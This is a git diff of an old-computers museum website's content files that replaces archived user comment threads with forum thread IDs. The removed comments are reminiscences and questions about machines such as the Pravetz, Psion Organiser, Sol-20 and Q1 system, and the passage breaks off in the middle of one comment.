author: Magne Ertresvåg (Ålesund Norway) - date: Sunday 23rd September 2007 - text: I still have the Cortex, but I haven't powered it up for years. It was fun to program. Are there anyone how still got a Cortex, or have you dumped years ago? - - author: Chris Haywood (UK) - date: Friday 6th April 2007 - text: |- - I have one of the Cortex computers which I built when I was studying for my electronics degree in the UK. The machine was pretty unreliable until my "mentor" engineer helped me figure out the the DRAM (64k chips) power supply was noisy. Once the supplies were gridded it worked really well. I could not afford the floppy drives so I used a cassette tape recorder connected to the modem port to save and load programs. If I remember correctly it was the first computer to have graphic "sprites" which were pixel objects that you could move around as a block across their own graphics plane - I think that there were 32 planes altogether.\ - Memories... oc_id: 171 source: url: https://web.archive.org/web/20230608161006/http://www.old-computers.com/museum/computer.asp?c=171 diff --git a/content/museum/pravetz-16a.md b/content/museum/pravetz-16a.md index c55abe20..b0adadc3 100644 --- a/content/museum/pravetz-16a.md +++ b/content/museum/pravetz-16a.md @@ -64,10 +64,7 @@ params: value: Built-in PSU - label: PRICE value: About 8000 leva (4100 ) - comments: - - author: Todor (Bulgaria) - date: Wednesday 13rd October 2010 - text: I have a working pravetz 16 In Bulgaria.If anyone is interested write me on zoom.ab@abv.bg + forum_thread: 602 oc_id: 615 source: url: https://web.archive.org/web/20230604040936/http://www.old-computers.com/museum/computer.asp?c=615 diff --git a/content/museum/pravetz-8c.md b/content/museum/pravetz-8c.md index 98f87e8b..094c17bd 100644 --- a/content/museum/pravetz-8c.md +++ b/content/museum/pravetz-8c.md @@ -66,6 +66,7 @@ params: - photos - software - links + forum_thread: 1030 photos: - title: LARGE VIEW subtitle: '' @@ -143,27 +144,6 @@ params: - title: Chip Identificator (.ZIP file) url: http://www.old-computers.com/binaries/chipid.zip text: Useful program to find similar references between East European and Western ICs - comments: - - author: Dark Avenger (Austria) - date: Wednesday 19th March 2014 - text: |- - Hi folks, - - Dark Avenger has nothing to do with Pravetz 8C. The viruses he wrote were for IMB PC compatible Pravetz 16 and specially designed for completely unprotected and unsecure versions of MSDOS/PCDOS. - - Cheers! - - author: TiMeWaRp (Bulgaria) - date: Sunday 5th November 2006 - text: No cybernmd, Pravetz PC were made in Bulgaria i town called Pravetz nothing common with Tashkent, Uzbekistan - - author: cybernmd (USA) - date: Thursday 27th April 2006 - text: Yeah, but it already featured some primitive LAN technology. As a middle school student, I had a lot of fun with those machines. Pravetz LAN had functionality of p2p messaging, exchange of files, and even grabbing the screen content from any computer on the LAN ;->. - - author: cybernmd (USA) - date: Saturday 15th October 2005 - text: Pravetz 8C were made in Tashkent, Uzbekistan - former USSR republic. Just a slight spelling error. - - author: bhtooefr (USA) - date: Friday 5th November 2004 - text: This machine does NOT have the same capabilities as the Apple IIc. The IIc came with 128KB RAM stock. The processor in this box might not be a 65C02 compatible, only a 6502 compatible (some apps needed the additional instructions). Also, the IIc didn't have any expansion capability (except in later models, and then the only supported expansions were RAM). oc_id: 1057 source: url: https://web.archive.org/web/20221208015627/http://www.old-computers.com/museum/computer.asp?c=1057 diff --git a/content/museum/pravetz-8d.md b/content/museum/pravetz-8d.md index f0d4db10..df5af697 100644 --- a/content/museum/pravetz-8d.md +++ b/content/museum/pravetz-8d.md @@ -63,6 +63,7 @@ params: tabs: - photos - links + forum_thread: 962 photos: - title: PRAVETZ 8D subtitle: '' @@ -105,38 +106,6 @@ params: - title: Pravetz 8D page url: http://www.sofiaprint.com/pravetz8d_bul/Pravetz%208D_bul.html text: Interesting but in bulgarian... - comments: - - author: Stanislav (Bulgaria) - date: Monday 5th July 2010 - text: |- - This machine was perfect. I work on her in 1990 in\ - Physics faculty in Sofia. I think after 20 years she''s still working. New PC can''t live more then 5 years.\ - The old is better maked , but old. Sweet memories . - - author: luca (Italy) - date: Friday 7th July 2006 - text: |- - WOW !! Dimiter , do you have an emulator ? where can i find it ? - - L - - author: Dimiter at lycos.co.uk (Sofia) - date: Friday 24th December 2004 - text: |- - This is my first personal computer. I even have an emulator for it. It works with TV/monitor and it has colors (I can't remember how much, but the games were colorful). I loved to play games on it, it works with cassette tape recorder instead of floppy. I learnt to program in Basic on it :)\ - It's TV Out was better than mine GeForce 2 LOL :))) - - It was cheap low-cost solution to home users.\ - I gave it as present to my cousin before couple of years and I have to check will the games still run. - - author: mereandr (Israel) - date: Saturday 20th November 2004 - text: |- - i had it too\ - this is my first personal computer\ - very lovely :) but not lot of games\ - only B/W in the TV screen\ - i looking for emulator and software for this computer - - author: cybernomad (USA) - date: Thursday 2nd September 2004 - text: I had pravetz 8d when i was a kid. You could connect it to any color TV and play games in color. oc_id: 988 source: url: https://web.archive.org/web/20230606134933/http://www.old-computers.com/museum/computer.asp?c=988 diff --git a/content/museum/pravetz-imko-1-2-pravetz-82.md b/content/museum/pravetz-imko-1-2-pravetz-82.md index 15c8a15d..ba853ea8 100644 --- a/content/museum/pravetz-imko-1-2-pravetz-82.md +++ b/content/museum/pravetz-imko-1-2-pravetz-82.md @@ -69,6 +69,7 @@ params: tabs: - photos - adverts + forum_thread: 932 photos: - title: IMKO-1 subtitle: '' @@ -132,22 +133,6 @@ params: Thanks to **Bojidar Stefanov** for the English translation image: /media/museum/pubs/pravetz_imko_pubcompar_s1.jpg - comments: - - author: Sergei Frolov (Russia) - date: Friday 30th September 2016 - text: http://pravetz.bg/history says that IMKO-1 was based on 8080 CPU and not Apple $$ - - author: Marin Aleksandrov - date: Thursday 6th February 2014 - text: Does anyone know how many of the Pravetz 8 series were produced in total? Thanks. - - author: Ivan Toshkov (Bulgaria) - date: Thursday 17th October 2013 - text: Note, that the normal monthly salary back then was about 200lv. So 4190lv is quite high price and not many people had them in their homes. That said, these computers (and later models) became quite common in factories and schools and there were freely available computer courses in many places. - - author: Konstantin Pavlov (Bulgaria) - date: Tuesday 11th December 2012 - text: This computer is historic for two reasons - First, it introduced the $phonetic$ layout of the Bulgarian keyboars (as opposed to BDS, which is the standard typewriter layout). Second, it was hacked (upgraded) to work with cyrillic characters, replacing the small latin letters and creating a new Cyrillic codepage. - - author: Kiril (Plovdiv, Bulgaria) - date: Tuesday 26th September 2006 - text: Well. I watch this machine and remember the early 80's when I started to learn BASIC.... Sweet memories :) oc_id: 956 source: url: https://web.archive.org/web/20230128071023/http://www.old-computers.com/museum/computer.asp?c=956 diff --git a/content/museum/prim-6-video-jeux-tv.md b/content/museum/prim-6-video-jeux-tv.md index d8f6f390..5c2370bf 100644 --- a/content/museum/prim-6-video-jeux-tv.md +++ b/content/museum/prim-6-video-jeux-tv.md @@ -9,6 +9,7 @@ params: company_name: PRIM 6 VIDEO tabs: - photos + forum_thread: 700 photos: - title: JEUX TV subtitle: '' @@ -26,16 +27,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/prim6video_jeuxtv_case.jpg - comments: - - author: Nelio - date: Monday 20th August 2012 - text: I wouldn''t recommend passing through airport security with one of these today! - - author: Discover (France) - date: Sunday 8th May 2011 - text: J''en ai un exemplaire, elle est apparemment rare et n''a été distribuée qu''en France a ce que je sais. J''ai mis pas mal de temps avant de trouver une référence sur cette console sur le web... - - author: Adrian Scheel (Germany) - date: Friday 8th October 2010 - text: Strangely this system was once produced in West-Germany but was never sold there. This could only be found in France so far. It is indeed very rare. I only came across two or three speciments on ebay in one decade! oc_id: 717 source: url: https://web.archive.org/web/20220819164720/http://www.old-computers.com/museum/computer.asp?c=717 diff --git a/content/museum/prinztronic-micro-5500.md b/content/museum/prinztronic-micro-5500.md index 60805601..dc6fa4ee 100644 --- a/content/museum/prinztronic-micro-5500.md +++ b/content/museum/prinztronic-micro-5500.md @@ -11,6 +11,7 @@ params: tabs: - photos - links + forum_thread: 721 photos: - title: BOX subtitle: '' @@ -20,24 +21,6 @@ params: - title: INTERNAL LINK url: http://www.old-computers.com/magazine/view.asp?r=2&a=4 text: Article comparing the different GI catridge based systems - comments: - - author: AJ - date: Thursday 19th April 2018 - text: Ahh, my first ever console....the racing game was brilliant......bought for me by my mum and dad xmas 1978, the following year I was lucky enough to get the all singing and all dancing Atari :) - - author: Nick (Midlands, UK) - date: Wednesday 24th March 2010 - text: |- - I used to have one of these myself, probably around about Xmas 1981...my first games console. - - Remember buying a cartridge for it, some speed bike racer game whereby you had to jump a series of cars, it came with a analog rotary dialled paddle that you moved left or right to set your speed, this plugged directly into the back of the cartridge. - - If I remember correctly the screen consisted of three tiers of road with your character horizontally scrolling. Your character would start at the top of the screen and as it reached the right edge of the screen would shift down to the next tier of road, the bottom tier had the ramp. If you set your bike too fast you would crash, if too slow by the time you reached the ramp to jump the cars you would fail your landing. - - author: Pete (Midlands) - date: Thursday 2nd December 2004 - text: Don't know if anyone can help I've got a 5500 still in orig box with all parts + still works, have you any idea if these are worth anything?( Good Condition - - author: Nick (London) - date: Saturday 24th January 2004 - text: My first ever games console (not including my major minor or speak and spell :) ) truly a classic! related: - /museum/audiosonic-tele-sports-iv - /museum/bandai-tv-jack-5000 diff --git a/content/museum/prinztronic-videosport-600.md b/content/museum/prinztronic-videosport-600.md index fa01b7ae..64338e87 100644 --- a/content/museum/prinztronic-videosport-600.md +++ b/content/museum/prinztronic-videosport-600.md @@ -53,6 +53,7 @@ params: tabs: - photos - links + forum_thread: 701 photos: - title: BOX subtitle: '' @@ -66,38 +67,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Stefano - date: Wednesday 11th December 2019 - text: |- - Also the prinztronic videosports 800 has 6 games, not 8. Find some photos on the web to confirm it. - - I have found on the web another console with the same shape but 10 games. I do not know the name and haven''t found any reference about it - - author: Nick Blackburn (Isle of Man UK) - date: Monday 24th April 2017 - text: Hi although I agree with Olivier about how much these are worth, they are still very collectable and a great talking point for parties and some of them look good enough to have on display just for their aesthetic value. - - author: Olivier (France) - date: Saturday 2nd November 2002 - text: |- - Hi - - Sorry, but this system, and any pongs in general, is not worth much...\ - Try www.ebay.com to find its value... - - regards\ - \_\_ - - Boisseau Olivier\ - olivier@old-computers.com\ - www.old-computers.com - - author: simian (bristol, england) - date: Wednesday 30th October 2002 - text: |- - I have a Prinztronic videosport 800 colour\ - and just wondered how much it's worth ?\ - i have both controlers but no lightgun - - any advise would be greatly recieved related: - /museum/gorenje-geti-3220 - /museum/philips-n20 diff --git a/content/museum/prmtors-ltd-palladium-game-console.md b/content/museum/prmtors-ltd-palladium-game-console.md index 30ecd23b..1d99fc48 100644 --- a/content/museum/prmtors-ltd-palladium-game-console.md +++ b/content/museum/prmtors-ltd-palladium-game-console.md @@ -10,6 +10,7 @@ params: tabs: - photos - links + forum_thread: 1189 photos: - title: PALLADIUM GAME CONSOLE subtitle: '' diff --git a/content/museum/processor-technology-corp-sol-10-20.md b/content/museum/processor-technology-corp-sol-10-20.md index d79ec2f7..5f3e148e 100644 --- a/content/museum/processor-technology-corp-sol-10-20.md +++ b/content/museum/processor-technology-corp-sol-10-20.md @@ -61,6 +61,7 @@ params: - emulators - links - docs + forum_thread: 348 photos: - title: SOL 10 MAINBOARD subtitle: '' @@ -232,66 +233,6 @@ params:  type of document : PDF\  size : 235 KB\  source : [www.sol20.org](http://www.sol20.org) - comments: - - author: Jason (Canada) - date: Sunday 19th September 2021 - text: Built the Sol 20 kit back in the late ''70s and bought a used one in the ''80s. They are both long gone, but I would love to add one back into my S-100 collection. - - author: Lillian (United States) - date: Thursday 20th April 2017 - text: In 1976, my husband began visiting the only computer store in the Washington area, in Georgetown after work. It took him a year to prepare me for the fact that he was going to spend a lot of money buying a computer. I thought he was having a mid-life crisis. He bought the Sol III and a printer the next year. I remember that the printer cost more than the computer. When I expressed my doubts about buying a computer, he said, "Someday everyone will have a computer in their home." He used the Sol to do genealogy and he invented a football game using text only that neighbors became addicted to. Neighborhood kids lined up to play it. When I asked if I could learn to use it, I was told that the only available time was from 3 to 4 a.m. He bought a second Sol to use for replacement of parts. One of them is in a computer museum somewhere in California, I think. - - author: Richard Freeberg (Napa CA) - date: Monday 30th March 2015 - text: I bought a used SOL 20 at at the Sunnyvale Swap Computer swap meet about 1979 or so. I used it to learn 8080 assembler. I still have it in the back room and have somehow protected it from the wife''s semi-annual "purge" of all that "junk". At the same swap meet in 79 I had the chance to purchase the original Intel 4040 prototype board from an old Intel engineer who was cleaning out his garage, for $5, cash. But since I had blown my wallet on the SOL, I didn''t have any money left! LOL Next year, the same engineer had realized what he had, and mounted and ''framed'' the 4040 board. It was NOT for sale... - - author: Ron (Pennsylvania) - date: Sunday 7th April 2013 - text: I still have a working Sol 20. I used it for my business along a 70K Micropolis hard drive. It''s been sitting in my basement for years. - - author: Rob Sklut (USA) - date: Thursday 19th July 2012 - text: Electric Pencil was really the first ''successful ...'' word processor application (I remember it well $ it was used on many 8080-based systems of the era). - - author: bruce geiger (usa) - date: Monday 28th May 2012 - text: |- - I puchased one of these computers along with a tractor printer and the package was around $5k\ - My need was to maintain an inventory list and be able to $ an item between two other items.\ - Simple today but a pain the rear then.\ - I wrote programs for labels on Basic and dreamed of a restaurant system that would allow waiters to $ orders for the cooks from the dining room\ - I bought a system, touch screen, and it sold for pluis 20k\ - The venture failed and nobody got paid.\ - I spent about 1000 hours learning basic and the clunky memory disks.\ - I should have gone fishing, but it was fun. - - I am 82 years old. - - author: Guillermo Belli (Nicaragua) - date: Wednesday 16th November 2011 - text: My father had one of those. I have faint memories of it, as I was a little boy, but I cannot forget the beautiful wood cabinet and top-notch construction. I do not remember seen it in action. I know I played some games on a computer, but maybe that was on the TSR-80. - - author: Cherry Emerson (USA) - date: Monday 14th November 2011 - text: We had one of these, the III, we were Emerson House, Inc., in Denver, CO This was a Private Prison/Halfway House. I remember hauling it, and that damn printer all the way to San Diego or San Francisco for a conference for International Halfway House Association where I gave a presentation on how computers could be used to store data, print reports and do accounting. I swear it came with some software called "electric pencil?" Anyone remember that. I think my deceased ex-husband''s widow may still have this one tucked away as he absolutely refused to throw it out! - - author: Michael Gauthier (California/USA) - date: Thursday 25th November 2010 - text: YES! there were 64k SOL-20''s. I had one. I was using the acounting program that required 64k. I also used the word processing system. I had the HELIOS 8" dual floppy disks and a special NEC Spinwriter for printing. I used it in my business for many years. My brother also had a SOL-20, but his was the 48k version with the HELIOS 8" floppies. He used the wordprocessing system for his business. The only real problem we ever had with them is the memory chips would become loose in the sockets. Every so often we would need to take out the boards and press the chips back into their sockets. I loved the real walnut on the sides of the cases. - - author: Jack Kennedy (San Antonio) - date: Tuesday 18th November 2008 - text: Yes, I had my SOL maxxed out at 48K, which allowed me to compile the SLAC Pascal compiler. It was the coolest thing I''d done to that point. - - author: Kay-Sugg (Earth) - date: Tuesday 16th April 2002 - text: |- - Please reduce the RAM maximum you list for the Sol-20 from 64K to 48K.\ - Yes, the address space supports 64K (8080 MPU) but any attempt to get there\ - hits a reef - the memory mapped video interface at C000. The system I used\ - in '78 - '79 had three 16K memory boards, a floppy controller, and a\ - terminator half-board. It also had a cooling problem that forced me to\ - leave part of the cover off so that it wouldn't overheat. The system was\ - sensitive to power spikes - after I built my own line filter from plans in\ - a user group newsletter my crashes dropped from one or two a day to one a\ - week. The \~$1500 kit my employer purchased didn't have a 12" monitor - I\ - used a 9" monitor for a while until I could afford to buy a 12" one to\ - replace it. Our 8" floppy sub-system was a Megabox (?) from a firm in San\ - Francisco. (That firm later stretched the chassis and tucked an S-100 buss\ - into the added space. The resulting system used a Z80 MPU.)\ - I am something of a kindred spirit - I own a Kim-1 (blue case), Atari 400\ - & 800, Sinclair ZX-81, and an HP lab computer with a CP/M module. I also\ - have the usual odds & ends that a computer junkie tends to accumulate. oc_id: 344 source: url: https://web.archive.org/web/20230604041241/http://www.old-computers.com/museum/computer.asp?c=344 diff --git a/content/museum/prologica-cp-200.md b/content/museum/prologica-cp-200.md index f8362691..b97fe167 100644 --- a/content/museum/prologica-cp-200.md +++ b/content/museum/prologica-cp-200.md @@ -62,6 +62,7 @@ params: value: Unknown tabs: - photos + forum_thread: 889 photos: - title: CP-200S subtitle: '' @@ -106,13 +107,6 @@ params: **(8)** Buzzer\ **(9)** Zilog Z80A processor. image: /media/museum/photos/prologica_cp200_mainboard_s1.jpg - comments: - - author: Daniel Vianna (Australia) - date: Monday 16th April 2018 - text: I learned some BASIC on one of these. I was about 10 years old, and lost interest mainly because one had to load programs through a cassette tape. I would spend 20 min or more hoping the tape wasn''t damaged and the cassette player had a clean head. If everything went fine I would be able to run a program. If not, it would fail silently. Another option was of course writing programs from scratch before using, but... that was painful. - - author: Paolo F. Pugno (Brazil) - date: Tuesday 21st November 2006 - text: I had one and experimented a lot with it. Its side connector does not follow the Sinclair pinout, so you cannot plug standard Sinclair peripherals to it. I had to build a re-layout board just to attach a ZX Printer to it, and it workerd flawlessly. I don't know if the CP-200S also has this characteristic... oc_id: 910 source: url: https://web.archive.org/web/20230608085751/http://www.old-computers.com/museum/computer.asp?c=910 diff --git a/content/museum/prologica-cp-400.md b/content/museum/prologica-cp-400.md index 0c96126c..0154f9eb 100644 --- a/content/museum/prologica-cp-400.md +++ b/content/museum/prologica-cp-400.md @@ -61,6 +61,7 @@ params: - software - links - videos + forum_thread: 1168 photos: - title: CP-400 subtitle: '' @@ -124,16 +125,6 @@ params: - title: CP 400 commercial url: https://www.youtube.com/watch?v=GSpVOpEo6W0 text: 'Length: 1 min' - comments: - - author: Nilcemar Ferreira (Brasil) - date: Wednesday 9th May 2012 - text: I have this computer. It was my 1st computer when i´m 11... - - author: Nilcemar Ferreira (Brasil) - date: Wednesday 9th May 2012 - text: I have this computer. It was my 1st computer when i´m 11... - - author: Leonardo Suárez (Brazil) - date: Sunday 4th April 2010 - text: In "Rear" picture, the "LIGA/DESLIG." button is the power button. oc_id: 1200 source: url: https://web.archive.org/web/20230606200316/http://www.old-computers.com/museum/computer.asp?c=1200 diff --git a/content/museum/proteus-international-proteus-iii.md b/content/museum/proteus-international-proteus-iii.md index 49917c0d..b536ce4e 100644 --- a/content/museum/proteus-international-proteus-iii.md +++ b/content/museum/proteus-international-proteus-iii.md @@ -63,6 +63,7 @@ params: tabs: - photos - adverts + forum_thread: 207 photos: - title: PROTEUS III subtitle: '' diff --git a/content/museum/psion-mc-200-400-600.md b/content/museum/psion-mc-200-400-600.md index b51545aa..da1e5d59 100644 --- a/content/museum/psion-mc-200-400-600.md +++ b/content/museum/psion-mc-200-400-600.md @@ -63,6 +63,7 @@ params: value: 'MC-200: £595 - MC-400: £695' tabs: - photos + forum_thread: 720 photos: - title: MC-200 OPENED subtitle: '' @@ -76,54 +77,6 @@ params: subtitle: '' text: Thanks to **Tim Allen** image: /media/museum/photos/psion_mc200_closed_1.jpg - comments: - - author: Rick - date: Sunday 11th December 2016 - text: MC 400 screenshots are now here https://sites.google.com/view/psionmc400 - - author: theyellowtortoise (United States) - date: Wednesday 14th September 2016 - text: I have an almost mint Psion MC600 for sale. There are two battery packs, but one is cracked. I do not have the charger. - - author: laurent - date: Sunday 25th January 2015 - text: |- - One for sell on ebay here: - - http://www.ebay.fr/itm/Psion-MC-400-Mobile-computer-Rare-et-vintage-/141553505837? - - author: Nick - date: Thursday 24th May 2012 - text: |- - Hello, - - I too have an mc 400 for sale.\ - Mine has seen better days, the battery pack has broken open and some corrosion is setting in. Also it''s a bit dusty, i don''t know if it turns on as i don''t have an ac adaptor.\ - I just put it on Ebay today then found this page.\ - This is it''s number on ebay$ $160808451041\ - Could you tell me how much it''s likely to be worth (if anything) please. - - Cheers, - - Nick - - author: Sarah Smith (Blackpool) - date: Saturday 4th June 2011 - text: I am interested in selling one - where would you advise I try? Ebay? Or are they worthless? - - author: justwebware (en_GB) - date: Friday 12th November 2010 - text: |- - This page contains the only known screen-shots from a Psion MC 400 anywhere on the web. - - http://justwebware.com/mc400/mc400.html - - author: jmk853 (Dublin) - date: Saturday 28th January 2006 - text: |- - I remeber the forerunner of these very well. They were the PDA of the time, but never got any serious use. Ok if you are the kind of person who needs to find a high class resturant every day,, but to the rest of us quite useless. - - JMK - - author: Linkman (Slovak Republic) - date: Friday 24th June 2005 - text: Very nice site with lot of info - - author: Karpus (Moscow, Russia) - date: Sunday 10th August 2003 - text: Yeah, these were great machines. Unfortunately overfeatured for its time... True Psion style. oc_id: 737 source: url: https://web.archive.org/web/20230608231657/http://www.old-computers.com/museum/computer.asp?c=737 diff --git a/content/museum/psion-organiser-ii.md b/content/museum/psion-organiser-ii.md index bbde66c2..5bddbc63 100644 --- a/content/museum/psion-organiser-ii.md +++ b/content/museum/psion-organiser-ii.md @@ -60,6 +60,7 @@ params: - photos - software - links + forum_thread: 1171 photos: - title: ORGANIZER II subtitle: '' @@ -85,64 +86,6 @@ params: - title: Web site and forum dedicated to the Psion Organiser II CM, XP & LZ url: http://members.tiscali.at/org2/org2.htm text: Lots of information, manuals and software - comments: - - author: Mark Garton (United Kingdom) - date: Tuesday 25th October 2022 - text: I own an lz64 64 I purchased in 1091 I find it usefully as a notebook in which ad a medical technician I keep a record of asset and serial numbers on it for the equipment I maintain it fits in my tool box its unusual in that its made in uk not china or japan its fitted with 2 32 k datapacks its well made from the days when we were able to make things ourselves everything made in china now - - author: ryan hunt (United Kingdom) - date: Thursday 29th April 2021 - text: I recently found mine along with a 256k flash solid state disk, does anyone know how these would be connected to the organiser itself? - - author: Peter White (England) - date: Wednesday 30th December 2020 - text: I have the program to update CM or XP Psion II Organisers to set current date (2000 onwards). It is available on eBay (Y2K and INFO datapack). The info program also shows the available ram and version numbers etc. It will also auto boot Psion II POS models to work as XP mode. Also many other Psion II packs and hardware. Search under username Lepowerfulpierre on eBay. - - author: Hercules Driver (England) - date: Friday 11th December 2020 - text: I have a Psion II XP. Not used it since the late 1980s. Woken it up in 2020 only to find my calender only goes up to 31 Dec 1999. Can this be changed because without out it nothing really works. Laso, is it possible to see how much unused data there is on a Datapack, or even the RAM. - - author: Christopher Havel (Siler City, NC, USA) - date: Monday 17th December 2012 - text: |- - ...oh, right... - - Mine is in fact an XP-labeled LA model. (That''s normal, I hear.) - - author: Christopher Havel (Siler City, NC, USA) - date: Monday 17th December 2012 - text: |- - Fixed my organizer today! The battery leads had gone. A replacement snap connector (soon I''ll add a diode for reverse-polarity protection) fixed that problem rather quickly. - - I can''t say my soldering skills are "all that", but they were sufficient. - - Now if only I had a CommsLink cable... - - author: Simon Lyne (England) - date: Tuesday 23rd October 2012 - text: |- - Here''s a webpage version of the programming manual for this machine. - - I will keep an eye out for any other documents. - - TheEPROM9 $-) - - Link: http://archive.psion2.org/org2/manlzpg1.htm - - author: Simon (England) - date: Tuesday 23rd October 2012 - text: |- - For programming guides and manuals/PDFs have a look here. Might prove useful for those seeking information and use on the programming language. - - Link: http://www.garethjmsaunders.co.uk/psion/programming16_opl.html - - author: Christopher Havel (Siler City, NC, USA) - date: Monday 25th April 2011 - text: |- - I have one of these... my father worked for a company that was using them for many interesting things, but I don''t know much more than that. The company was named "Learning Resource Consultants" if I remember correctly. - - My unit (a model XP) is missing the battery spring (it fell out) and won''t turn on anymore. I think it died a year or two ago $ that''s a pretty good run considering it''s about as old as I am! (I was born in ''86...) - - author: Ian Gillman (Rockford, IL, USA (originally from the UK)) - date: Wednesday 7th April 2010 - text: I am still using my LZ64 to keep lists and notes, in fact it is strapped to my belt right now. I use it at work and at home to keep track of things that I need to do and for appointments. I have to remember to only store short term things as the battery lasts somewhere between 1 and 2 months and the unit resets when I replace the battery (I guess the internal circuitry to keep the memory alive with no battery is no longer operational). - - author: Brett Price (UK) - date: Wednesday 3rd January 2007 - text: I used to work for British Telcom, and as a field engineer, we used these terminals between 1988-1996 to record or time keeping and jobs completed on a daily basis. We then unplugged the ram pack and posted it every Friday to a central office for download. If it wasn't for this little device, BT engineers wouldn't have got payed! It was easy, albeit basic to use but got replaced with Laptops enabled with GSM to contact our intranet and data base directly. 10/10 psion! - - author: Otto Yamamoto (Highland, NY, USA) - date: Sunday 17th December 2006 - text: I had one of these-the LZ 64, in fact. Quite a nice piece of work. I wrote a little program to calculate IV drip rates. The A-Z key setup was a pain, but otherwise this was a top rank machine that was reasonably cheap. I sold mine for more than I paid for it, but now I wished I've kept it... oc_id: 1203 source: url: https://web.archive.org/web/20230323142819/http://www.old-computers.com/museum/computer.asp?c=1203 diff --git a/content/museum/psion-series-3.md b/content/museum/psion-series-3.md index ede8a971..1e57f214 100644 --- a/content/museum/psion-series-3.md +++ b/content/museum/psion-series-3.md @@ -63,6 +63,7 @@ params: tabs: - photos - software + forum_thread: 1175 photos: - title: LARGE VIEW subtitle: '' @@ -89,24 +90,6 @@ params: subtitle: screenshot text: Thanks to Damian Walker for this screenshot image: /media/museum/software/psion_series3_ss_slider.png - comments: - - author: Steven Monrad (US) - date: Wednesday 23rd December 2020 - text: I had a Psion 3 until I got a Psion 5mx in 1999. I still have it and it still works/looks new. At the time I had a new Thinkpad 700X and used the laptop as the backup to the Psion 5mx which I used as a principal computer to see if it could be done, very mobile. A dial-up modem too. The best machine around, QWERTY keyboard and came with a (still) beautiful leather wallet/case. Left it on an MTA NYC bus one night coming from California, full of credit cards and cash, all ID etc. Got it back next day from MTA dispatch, all present except for missing MTA card. Incredible design w AC cord, or (2) AA, and watch battery memory power. Built-in stylus, expansion memory card slot, modem/accessory connector. - - author: Aidan (Oregon, USA) - date: Tuesday 27th February 2018 - text: I have one of these I picked up from Goodwill for $5. Great little addition to my growing retro collection! - - author: Dr Arthur Percival (UK) - date: Tuesday 29th May 2012 - text: |- - For storing addresses etc off-PC I stilll use a brance of Series 3''s, one at home and one in the office where I work as a volunteer. They''re very handy.\ - One I used to use also when summarising the contents of old title deeds - awkward things to handle, often very large and on parchment - so a tiny computer was much better to use than even a laptop or (more recently) netbook.\ - It worked very well, though I missed any means of saving standard phrases which could be incorporated in my transcripts.\ - The automatic save to memory was a great advantage.\ - It''s a pity there was never a Windows version, and also that the device wasn''t developed any further. However I suppose nowadays Blackberrys and the like have taken its place - but I haven''t even got a mobile phone, let alone a smartphone! - - author: Ivelisse Colon-Nevarez (San Juan, Puerto Rico) - date: Saturday 1st January 2011 - text: My first husband owned one of these. It was very useful and easy to use. It even included games! oc_id: 1207 source: url: https://web.archive.org/web/20230608221205/http://www.old-computers.com/museum/computer.asp?c=1207 diff --git a/content/museum/q1-corporation-q1-system.md b/content/museum/q1-corporation-q1-system.md index 4c923b4e..44018a0c 100644 --- a/content/museum/q1-corporation-q1-system.md +++ b/content/museum/q1-corporation-q1-system.md @@ -56,141 +56,11 @@ params: value: Unknown tabs: - links + forum_thread: 1251 links: - title: Philon.net url: http://philon.net/advent2.html text: Daniel Alroy's website, with detailed info about Q1 Corporation - comments: - - author: Dan (UK) - date: Monday 14th November 2022 - text: 'I had one of these interesting systems, which I believe came from the National Enterprise Board (NEB) in the UK. Mine was a Q1 Microlite (manufactured between 1978 and 1980), with an 80 character x 8 character high quality, sharp orange gas plasma display. The Q1 range had excellent keyboards and distinctive orange gas plasma screens, housed in futuristic black and orange boxes. The branding extended to the file servers and printers. They were examples of pioneering industrial design, and quality workmanship. One strange quirk was that the workstation was very polite, displaying the message "Welcome to the Q1 microlite", and "Q1/Microlite at your service". Some thought and care had gone into the design and presentation of this quality computer. I was very fortunate to have a high specification file server, with a 10 Mb (7.29 mb formatted) four platter 8" hard drive, and a matching 2 Mb (1.2 mb formatted) 8 inch floppy drive. I was amused to find that the file server was fronted - by two large red and green neon lights, like something from a 1960''''s science fiction series. It took approximately 20-30 seconds to boot, and when the hard disc had reached the operating speed of 3,600 RPM, the green light illuminated, indicating it was online, and ready to boot the Q1 workstation. I taught myself to reset the workstation or start a cold boot after the file server had fully booted up from cold, after a few false starts. My model came with a rebranded NEC spinwriter printer, which is similar to a daisywheel but with an unusual thimble printing mechanism. Print quality was outstanding. Being a high end business computer, build quality was breathtaking compared to the 8 bit machines I used in the 1980s. I am not surprised that NASA used these computers and they were exported across the UK, Europe and the Middle East. When booting off the hard drive and communicating over the high speed (300 kb) 10-Base 2 coax network, it was a respectably fast machine. The Q1 had a - distinctive boot sequence : it would boot from the floppy (if present), then off the hard drive, so it was advisable to remove the floppy disc before booting the file server. The 32K memory seemed to be the main limitation when editing large files in the EDIT editor. The Q1 appeared to page text in and out of memory, which was fine on the hard drive but less satisfactory on the 8 inch drive. I was impressed by the PL/1 compiler, a port from IBM System/360 mainframes. There was also a COBOL compiler. It must have been a huge challenge to fit these complex language compilers into a Z80 machine with a mere 32K of RAM. Finally, the quality of documentation was excellent, and they were quite speedy when connected to a dedicated Q1 file server (10 mb hard drive and 8 inch 1.2 mb floppy). I had to fashion up my own coaxial cable and solder in a T-piece terminator, but to my surprise it worked and booted up.' - - author: RangerCV4 (Canada) - date: Thursday 29th September 2022 - text: I found a benchmark of the Q1 in an old Association of Computer Users magazine that was archived on the Wayback machine. The reference starts on page 126 of the following URL. The URL is https://archive.org/details/AssociationOfComputerUsers_volume3.0/page/n125/mode/1up - - author: RangerCV4 (Canada) - date: Thursday 29th September 2022 - text: I found an old report from NASA about a program they developed for the Q1 Lite. It lists sample commands and discusses how the Q1 processes the output of the program. Here is the URL https://archive.org/details/NASA_NTRS_Archive_19800005726/page/n51/mode/1up - - author: Roland (Germany) - date: Thursday 22nd September 2022 - text: Dear Bernardo, we are in the process of restoring a Q1-System - I sent you an email ! - - author: Bernardo Kastrup (Netherlands) - date: Tuesday 20th September 2022 - text: 'Dear all, I am a computer designer and restorer who often works with the Dutch Home Computer Museum. We''''ve just acquired a Q1 Lite built in 1978. My intent is to eventually reverse engineer and document the machine. If that is successful, I hope to design a modern clone of the Q1 (the Z80 is still manufactured by Zilog) using an LCD panel instead of the plasma display, and an SD-card port instead of the hard disk drives. For this to make sense, however, we need some of the original software. We can, of course, write brand new software for the clone, but that wouldn''''t be a true reproduction. Can any of you provide me with digital copies of Q1 Lite software? Technical documentation would be a significant bonus! Here are the sites where we plan to collect what we learn and do: 